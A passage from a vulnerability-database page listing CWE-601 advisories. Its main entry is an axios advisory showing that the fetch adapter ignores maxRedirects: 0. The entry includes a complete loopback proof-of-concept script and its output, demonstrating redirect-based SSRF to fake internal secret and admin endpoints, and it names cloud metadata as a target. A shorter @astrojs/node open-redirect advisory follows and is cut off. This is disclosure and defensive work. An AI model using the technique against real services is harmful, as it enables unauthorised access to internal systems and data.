Common Weakness Enumeration

CWE-601

Allowed

URL Redirection to Untrusted Site ('Open Redirect')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

2570 vulnerabilities reference this CWE, most recent first.

GHSA-R4GJ-5M52-G5WH

Vulnerability from github – Published: 2026-09-30 15:31 – Updated: 2026-09-30 15:31
VLAI
Summary
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
Details

Summary

Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.

Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.

Impact

An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.

This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.

Affected Functionality

Affected:

  • adapter: 'fetch'.
  • Runtime environments where fetch is selected by adapter resolution.
  • Requests configured with maxRedirects: 0 but without fetchOptions.redirect: 'manual' or equivalent runtime-specific redirect control.

Not affected:

  • Node HTTP adapter, which enforces maxRedirects: 0.
  • Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.

Technical Details

lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:

const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

Because redirect is absent, the Fetch API default is to follow redirects.

Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.

Proof of Concept of Attack

Constrained local demonstration:

  1. Start server A that returns 302 Location: http://127.0.0.1:<server-b>/internal.
  2. Start server B that returns INTERNAL.
  3. Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 });  // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL

Workarounds

For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.

Original report

## Summary Axios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`. In the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact. This affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly. ## Details The fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`: 
let {
  url, method, data, signal, cancelToken, timeout,
  onDownloadProgress, onUploadProgress, responseType,
  headers, withCredentials, fetchOptions,
  maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted
The options object passed to `fetch()` has no `redirect` key: 
const resolvedOptions = {
  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};
Because no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects. The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect The behaviour difference between adapters is summarised below: | Behaviour | HTTP adapter | Fetch adapter | |----------------------------------------|---------------------------------|--------------------------| | Reads `config.maxRedirects` | Yes | **No** | | Enforces `maxRedirects: 0` | Yes -- throws on any redirect | **No -- follows silently**| | Strips `Authorization` cross-origin | Yes (`follow-redirects` >=1.15.8)| Runtime-dependent | | Strips `Cookie` cross-origin | Yes | Runtime-dependent | ### When is the fetch adapter selected? - **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `'fetch'` - **Explicit config:** `axios.get(url, { adapter: 'fetch' })` - **Custom adapter list:** `axios.create({ adapter: ['fetch'] })` ## PoC 
import http from 'http';
import axios from './index.js';

// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
  if (req.url === '/api/data') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
    return res.end();
  }
  if (req.url === '/api/change-config') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
    return res.end();
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ ok: true }));
});

let internalHits = 0;
let internalConfig = {};

// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
  internalHits++;

  if (req.url === '/internal/secrets') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
      role:   'arn:aws:iam::000000000000:role/FakeProductionRole',
    }));
  }

  if (req.url === '/internal/admin/config') {
    internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      reached: 'state-changing internal admin endpoint',
      changed: true,
      internalConfig,
    }));
  }

  res.writeHead(404);
  res.end();
});

await Promise.all([
  new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
  new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);

const targetUrl    = 'http://127.0.0.1:13801/api/data';
const changeUrl    = 'http://127.0.0.1:13801/api/change-config';
const internalUrl  = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg  = 'http://127.0.0.1:13802/internal/admin/config';

console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`Target URL=${targetUrl}`);
console.log(`  redirects to ${internalUrl}`);
console.log(`Change URL=${changeUrl}`);
console.log(`  redirects to ${internalCfg}`);
console.log('');

// CONTROL: HTTP adapter correctly enforces maxRedirects: 0
let httpBlocked = false;
try {
  await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
  console.log('[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown');
} catch (err) {
  httpBlocked = true;
  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);

// BYPASS: Fetch adapter silently ignores maxRedirects: 0
let fetchResponse = null;
try {
  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗');
  console.log('           Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):', err.message);
}
console.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);

// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint
let changedResponse = null;
try {
  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter state change:', JSON.stringify(changedResponse.data));
  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);
} catch (err) {
  console.log('[BYPASS]   State change request blocked (unexpected):', err.message);
}


console.log('');

if (httpBlocked && fetchResponse && changedResponse) {
  console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
  console.log('            reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
  console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
  console.log('            reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
  console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
  console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');
}

serverA.close();
serverB.close();
Run: 
node poc-max-redirects.mjs
Observed: 
Axios maxRedirects bypass via fetch adapter PoC
axios VERSION=1.17.0
maxRedirects=0
Target URL=http://127.0.0.1:13801/api/data
  redirects to http://127.0.0.1:13802/internal/secrets
Change URL=http://127.0.0.1:13801/api/change-config
  redirects to http://127.0.0.1:13802/internal/admin/config

[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL]  Internal hits after HTTP adapter: 0
[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗
           Response: {"secret":"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"}
[BYPASS]   Internal hits after fetch adapter: 1
[BYPASS]   Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}}
[BYPASS]   Internal hits after state change: 2

POC RESULT: fetch adapter followed redirects despite maxRedirects:0,
            reaching internal service and mutating internal state.
## Control Axios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: 'http'` throws rather than following the redirect, and the internal hit counter stays at `0`: 
[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL]  Internal hits after HTTP adapter: 0
The issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call. ## Impact This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active. The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime. The impact is environment- and configuration-dependent. It affects axios users who: - Set `maxRedirects: 0` as a defense against redirect-based SSRF, and - Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration In these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged. The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue. Potentially affected environments include: - Deno and Bun applications using axios where the fetch adapter is the default. - Cloudflare Workers using axios, which has no Node.js `http` module. - Node.js applications that explicitly configure `adapter: 'fetch'` or a custom adapter list that resolves to fetch. - Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection. Internal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass. This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.
Severity
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:31:58Z",
    "nvd_published_at": "2026-09-28T18:17:19Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAxios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: \u0027follow\u0027` applies.\n\nApplications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.\n\n## Impact\n\nAn attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.\n\nThis should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: \u0027fetch\u0027`.\n- Runtime environments where fetch is selected by adapter resolution.\n- Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: \u0027manual\u0027` or equivalent runtime-specific redirect control.\n\nNot affected:\n\n- Node HTTP adapter, which enforces `maxRedirects: 0`.\n- Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.\n\n## Technical Details\n\n`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: \u0027half\u0027,\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause `redirect` is absent, the Fetch API default is to follow redirects.\n\nLocal verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n1. Start server A that returns `302 Location: http://127.0.0.1:\u003cserver-b\u003e/internal`.\n2. Start server B that returns `INTERNAL`.\n3. Compare:\n\n```js\nawait axios.get(serverA, { adapter: \u0027http\u0027, maxRedirects: 0 });  // throws\nawait axios.get(serverA, { adapter: \u0027fetch\u0027, maxRedirects: 0 }); // returns INTERNAL\n```\n\n## Workarounds\n\nFor fetch-adapter requests, set `fetchOptions: { redirect: \u0027manual\u0027 }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `\u0027follow\u0027`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.\n\nIn the attached PoC, a request issued with `maxRedirects: 0` and `adapter: \u0027fetch\u0027` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: \u0027http\u0027` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.\n\nThis affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: \u0027fetch\u0027` set explicitly.\n\n## Details\n\nThe fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:\n\n```js\nlet {\n  url, method, data, signal, cancelToken, timeout,\n  onDownloadProgress, onUploadProgress, responseType,\n  headers, withCredentials, fetchOptions,\n  maxContentLength, maxBodyLength,\n} = resolveConfig(config);\n// maxRedirects is not extracted\n```\n\nThe options object passed to `fetch()` has no `redirect` key:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: \u0027half\u0027,\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause no `redirect` key is present, the Fetch API default of `redirect: \u0027follow\u0027` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.\n\nThe discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect\n\nThe behaviour difference between adapters is summarised below:\n\n| Behaviour                              | HTTP adapter                    | Fetch adapter            |\n|----------------------------------------|---------------------------------|--------------------------|\n| Reads `config.maxRedirects`            | Yes                             | **No**                   |\n| Enforces `maxRedirects: 0`             | Yes -- throws on any redirect   | **No -- follows silently**|\n| Strips `Authorization` cross-origin    | Yes (`follow-redirects` \u003e=1.15.8)| Runtime-dependent       |\n| Strips `Cookie` cross-origin           | Yes                             | Runtime-dependent        |\n\n### When is the fetch adapter selected?\n\n- **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `\u0027fetch\u0027`\n- **Explicit config:** `axios.get(url, { adapter: \u0027fetch\u0027 })`\n- **Custom adapter list:** `axios.create({ adapter: [\u0027fetch\u0027] })`\n\n## PoC\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Server A: the \"trusted\" external target, issues open redirects to Server B\nconst serverA = http.createServer((req, res) =\u003e {\n  if (req.url === \u0027/api/data\u0027) {\n    res.writeHead(302, { Location: \u0027http://127.0.0.1:13802/internal/secrets\u0027 });\n    return res.end();\n  }\n  if (req.url === \u0027/api/change-config\u0027) {\n    res.writeHead(302, { Location: \u0027http://127.0.0.1:13802/internal/admin/config\u0027 });\n    return res.end();\n  }\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({ ok: true }));\n});\n\nlet internalHits = 0;\nlet internalConfig = {};\n\n// Server B: the \"internal\" service, should be unreachable from the application\nconst serverB = http.createServer(async (req, res) =\u003e {\n  internalHits++;\n\n  if (req.url === \u0027/internal/secrets\u0027) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify({\n      secret: \u0027FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\u0027,\n      role:   \u0027arn:aws:iam::000000000000:role/FakeProductionRole\u0027,\n    }));\n  }\n\n  if (req.url === \u0027/internal/admin/config\u0027) {\n    internalConfig = { compromised: true, source: \u0027redirect-followed-by-fetch-adapter\u0027 };\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify({\n      reached: \u0027state-changing internal admin endpoint\u0027,\n      changed: true,\n      internalConfig,\n    }));\n  }\n\n  res.writeHead(404);\n  res.end();\n});\n\nawait Promise.all([\n  new Promise((resolve, reject) =\u003e { serverA.listen(13801, \u0027127.0.0.1\u0027, resolve); serverA.on(\u0027error\u0027, reject); }),\n  new Promise((resolve, reject) =\u003e { serverB.listen(13802, \u0027127.0.0.1\u0027, resolve); serverB.on(\u0027error\u0027, reject); }),\n]);\n\nconst targetUrl    = \u0027http://127.0.0.1:13801/api/data\u0027;\nconst changeUrl    = \u0027http://127.0.0.1:13801/api/change-config\u0027;\nconst internalUrl  = \u0027http://127.0.0.1:13802/internal/secrets\u0027;\nconst internalCfg  = \u0027http://127.0.0.1:13802/internal/admin/config\u0027;\n\nconsole.log(\u0027Axios maxRedirects bypass via fetch adapter PoC\u0027);\nconsole.log(`axios VERSION=${axios.VERSION}`);\nconsole.log(`maxRedirects=0`);\nconsole.log(`Target URL=${targetUrl}`);\nconsole.log(`  redirects to ${internalUrl}`);\nconsole.log(`Change URL=${changeUrl}`);\nconsole.log(`  redirects to ${internalCfg}`);\nconsole.log(\u0027\u0027);\n\n// CONTROL: HTTP adapter correctly enforces maxRedirects: 0\nlet httpBlocked = false;\ntry {\n  await axios.get(targetUrl, { maxRedirects: 0, adapter: \u0027http\u0027 });\n  console.log(\u0027[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown\u0027);\n} catch (err) {\n  httpBlocked = true;\n  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect \u2713 (${err.code ?? err.message})`);\n}\nconsole.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter silently ignores maxRedirects: 0\nlet fetchResponse = null;\ntry {\n  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: \u0027fetch\u0027 });\n  console.log(\u0027[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded \u2717\u0027);\n  console.log(\u0027           Response:\u0027, JSON.stringify(fetchResponse.data));\n} catch (err) {\n  console.log(\u0027[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):\u0027, err.message);\n}\nconsole.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint\nlet changedResponse = null;\ntry {\n  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: \u0027fetch\u0027 });\n  console.log(\u0027[BYPASS]   Fetch adapter state change:\u0027, JSON.stringify(changedResponse.data));\n  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);\n} catch (err) {\n  console.log(\u0027[BYPASS]   State change request blocked (unexpected):\u0027, err.message);\n}\n\n\nconsole.log(\u0027\u0027);\n\nif (httpBlocked \u0026\u0026 fetchResponse \u0026\u0026 changedResponse) {\n  console.log(\u0027POC RESULT: fetch adapter followed redirects despite maxRedirects:0,\u0027);\n  console.log(\u0027            reaching internal service and mutating internal state.\u0027);\n} else if (httpBlocked \u0026\u0026 fetchResponse) {\n  console.log(\u0027POC RESULT: fetch adapter followed redirect despite maxRedirects:0,\u0027);\n  console.log(\u0027            reaching internal service that should have been unreachable.\u0027);\n} else if (!httpBlocked) {\n  console.log(\u0027POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.\u0027);\n} else {\n  console.log(\u0027POC RESULT: fetch adapter blocked redirect -- issue may be fixed.\u0027);\n}\n\nserverA.close();\nserverB.close();\n```\n\nRun:\n\n```bash\nnode poc-max-redirects.mjs\n```\n\nObserved:\n\n```text\nAxios maxRedirects bypass via fetch adapter PoC\naxios VERSION=1.17.0\nmaxRedirects=0\nTarget URL=http://127.0.0.1:13801/api/data\n  redirects to http://127.0.0.1:13802/internal/secrets\nChange URL=http://127.0.0.1:13801/api/change-config\n  redirects to http://127.0.0.1:13802/internal/admin/config\n\n[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect \u2713 (ERR_BAD_RESPONSE)\n[CONTROL]  Internal hits after HTTP adapter: 0\n[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded \u2717\n           Response: {\"secret\":\"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\",\"role\":\"arn:aws:iam::000000000000:role/FakeProductionRole\"}\n[BYPASS]   Internal hits after fetch adapter: 1\n[BYPASS]   Fetch adapter state change: {\"reached\":\"state-changing internal admin endpoint\",\"changed\":true,\"internalConfig\":{\"compromised\":true,\"source\":\"redirect-followed-by-fetch-adapter\"}}\n[BYPASS]   Internal hits after state change: 2\n\nPOC RESULT: fetch adapter followed redirects despite maxRedirects:0,\n            reaching internal service and mutating internal state.\n```\n\n## Control\n\nAxios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: \u0027http\u0027` throws rather than following the redirect, and the internal hit counter stays at `0`:\n\n```text\n[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect \u2713 (ERR_BAD_RESPONSE)\n[CONTROL]  Internal hits after HTTP adapter: 0\n```\n\nThe issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call.\n\n## Impact\n\nThis is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.\n\nThe internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.\n\nThe impact is environment- and configuration-dependent. It affects axios users who:\n\n- Set `maxRedirects: 0` as a defense against redirect-based SSRF, and\n- Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration\n\nIn these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged.\n\nThe bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.\n\nPotentially affected environments include:\n\n- Deno and Bun applications using axios where the fetch adapter is the default.\n- Cloudflare Workers using axios, which has no Node.js `http` module.\n- Node.js applications that explicitly configure `adapter: \u0027fetch\u0027` or a custom adapter list that resolves to fetch.\n- Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection.\n\nInternal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application\u0027s network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass.\n\nThis should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-r4gj-5m52-g5wh",
  "modified": "2026-09-30T15:31:58Z",
  "published": "2026-09-30T15:31:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF"
}

GHSA-R557-WFFQ-WVRC

Vulnerability from github – Published: 2026-07-20 23:22 – Updated: 2026-08-12 20:37
VLAI
Summary
@astrojs/node: Backslash-prefixed paths not recognized as internal by trailing-slash redirect
Details

Impact

With trailingSlash: 'always' configured, the @astrojs/node standalone server's static file handler appends a trailing slash to request paths and issues a 301 redirect. Paths beginning with /\ (slash-backslash) were not recognized as internal paths, so the handler would echo the raw path back in the Location header. Because browsers treat \ as / per the WHATWG URL specification, the resulting redirect could resolve to an external host.

Preconditions: - trailingSlash: 'always' must be set (non-default; the default is 'ignore') - The request path must not have a file extension in its final segment - An attacker must deliver the crafted link to a user

Patches

Fixed by treating backslash-prefixed paths the same as //-prefixed paths in isInternalPath(), so they are no longer rewritten with a trailing slash.

Workarounds

Use the default trailingSlash: 'ignore' setting, which does not issue trailing-slash redirects in the static file handler.

References

Severity
2.1 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.1.0"
            },
            {
              "fixed": "11.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
